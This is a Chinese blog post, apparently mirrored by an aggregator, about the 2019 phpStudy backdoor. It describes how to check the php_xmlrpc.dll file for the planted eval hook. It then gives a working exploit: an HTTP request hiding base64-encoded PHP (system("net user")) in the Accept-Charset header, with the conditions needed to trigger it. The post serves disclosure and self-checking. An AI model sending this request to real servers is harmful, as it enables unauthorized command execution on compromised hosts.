2

phpStudy后门测试

 2 years ago
source link: https://cjjkkk.github.io/phpstudy-backdoor/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

phpStudy后门测试

发表于 2019-10-14

| 分类于 攻击测试

| 阅读数

字数统计: 406


9月20公布的phpStudy官网被控,被黑客植入恶意后门的事件引起了极大的关注,影响极为广泛,本文简单写一下自查和利用。

二. 后门检测

从发布的资料上主要出现在以下版本的php中

php5.4.45

php5.2.17

phpStudy版本主要是在20180211和20161103俩个版本,但据说其他版本也存在这种情况。

在phpStudy安装目录中查找php\php-5.4.45\ext目录下的php_xmlrpc.dll文件,记事本打开,查找关键词eval,可以看到如下内容即证明存在后门

三. 后门利用

首先启动对应版本的php

访问主页并插入exp

GET / HTTP/1.1
Host: 192.168.242.131
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

Accept-Charset字段经过base64加密,原文中字段解码后为system("net user");,需要注意的是在直接构造该请求时,需要在Accept-Charset字段后添加两个换行,不然会出现不响应的情况。此外Accept-Encoding字段值必须为gzip,deflate,才能去判断是否存在Accept-Charset字段,读取该字段的值。

参考

phpStudy后门简要分析

phpStudy遭黑客入侵植入后门事件披露 | 微步在线报告

数十万PhpStudy用户被植入后门,快来检测你是否已沦为“肉鸡”!

-------------本文结束感谢您的阅读-------------
想喝快乐水

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK